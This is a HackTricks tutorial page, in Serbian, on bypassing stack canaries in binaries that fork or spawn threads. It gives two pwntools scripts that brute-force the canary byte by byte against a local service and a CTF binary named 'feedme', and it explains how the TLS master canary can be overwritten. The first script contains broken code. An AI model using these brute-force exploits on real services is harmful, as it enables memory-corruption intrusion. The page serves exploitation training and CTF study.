hacktricks/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

6.1 KiB

BF Forked & Threaded Stack Canaries

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE-om (Position Independent Executable), verovatno ćete morati da pronađete način da ih zaobiđete.

{% hint style="info" %} Imajte na umu da checksec možda neće otkriti da je binarni fajl zaštićen kanarincem ako je statički kompajliran i nije u mogućnosti da identifikuje funkciju.
Međutim, možete ručno primetiti ovo ako primetite da je vrednost sačuvana na steku na početku poziva funkcije i ako se ova vrednost proverava pre izlaska. {% endhint %}

Brute force kanarinca

Najbolji način zaobići jednostavan kanarinac je ako je binarni program forkovanje dječijih procesa svaki put kada uspostavite novu konekciju sa njim (mrežna usluga), jer će se svaki put kada se povežete koristiti isti kanarinac.

Zatim, najbolji način zaobići kanarinac je jednostavno bruteforce-ovati ga karakter po karakter, i možete saznati da li je pogodak kanarinca tačan proverom da li je program pao ili nastavlja svoj redovan tok. U ovom primeru funkcija bruteforce-uje 8 bajtova kanarinca (x64) i razlikuje između tačno pogodjenog bajta i lošeg bajta samo proverom da li je odgovor poslat od strane servera (na drugi način u drugim situacijama moglo bi biti korišćenje try/except):

Primer 1

Ovaj primer je implementiran za 64 bita ali se lako može implementirati i za 32 bita.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Primer 2

Ovo je implementirano za 32 bita, ali se lako može promeniti na 64 bita.
Takođe, obratite pažnju da ovaj primer program očekuje prvo bajt koji ukazuje na veličinu unosa i samog payload-a.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Niti

Niti istog procesa će takođe deliti isti canary token, stoga će biti moguće brute-force-ovati canary ako binarni fajl pokrene novu nit svaki put kada se desi napad.

Osim toga, prekoračenje bafera u funkciji sa nitima zaštićenoj canary-jem može se koristiti za modifikaciju glavnog canary-ja koji je smešten u TLS. To je zato što bi bilo moguće dostići poziciju memorije gde je smešten TLS (i stoga, canary) putem bof-a na steku niti.
Kao rezultat, zaštita je beskorisna jer se provera vrši sa dva canary-ja koji su isti (iako modifikovani).
Ovaj napad je izvršen u objašnjenju: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Pogledajte takođe prezentaciju https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 koja pominje da se obično TLS čuva pomoću mmap i kada se kreira stek niti, takođe se generiše pomoću mmap prema ovome, što bi moglo omogućiti prekoračenje kao što je prikazano u prethodnom objašnjenju.

Ostali primeri & reference